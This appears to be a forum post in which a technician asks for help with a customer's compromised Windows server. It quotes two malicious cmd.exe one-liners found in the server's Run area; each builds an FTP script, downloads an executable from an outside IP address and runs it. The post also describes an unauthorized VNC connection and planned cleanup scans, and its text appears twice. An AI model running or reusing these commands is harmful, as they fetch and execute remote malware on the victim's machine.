A customer of mine had the following two commands in the run area of their server. They run on a 192.168 subnet, so these go to the outside.
cmd.exe /c del i&echo open 66.244.112.148 15635 > i&echo user 1 1 >> i &echo get 140.exe >> i &echo quit >> i &ftp -n -s:i &140.exe&del i&exit
cmd.exe /c del i&echo open 66.244.112.248 13544 > i&echo user 1 1 >> i &echo get 446.exe >> i &echo quit >> i &ftp -n -s:i &446.exe&del i&exit
The server was beeping at them, and VNC (which has been unistalled, and Remote Desktop has been disabled, along with remote assistance) was accepting a connection from 66.244.X.X. The computer was always locked the times that I heard it, so VNC would not have allowed them to run anything. I have also started a virus scan and will do both Hijack this and ad-aware scans when I am there next, as I believe they have been compromised. I will also strongly advise them to change all of their passwords. I also have not searched for 446.exe either, yet.
This is beyond my understanding of CLI environments.
Thanks for your help in advance.
Danny
cmd.exe /c del i&echo open 66.244.112.148 15635 > i&echo user 1 1 >> i &echo get 140.exe >> i &echo quit >> i &ftp -n -s:i &140.exe&del i&exit
cmd.exe /c del i&echo open 66.244.112.248 13544 > i&echo user 1 1 >> i &echo get 446.exe >> i &echo quit >> i &ftp -n -s:i &446.exe&del i&exit
The server was beeping at them, and VNC (which has been unistalled, and Remote Desktop has been disabled, along with remote assistance) was accepting a connection from 66.244.X.X. The computer was always locked the times that I heard it, so VNC would not have allowed them to run anything. I have also started a virus scan and will do both Hijack this and ad-aware scans when I am there next, as I believe they have been compromised. I will also strongly advise them to change all of their passwords. I also have not searched for 446.exe either, yet.
This is beyond my understanding of CLI environments.
Thanks for your help in advance.
Danny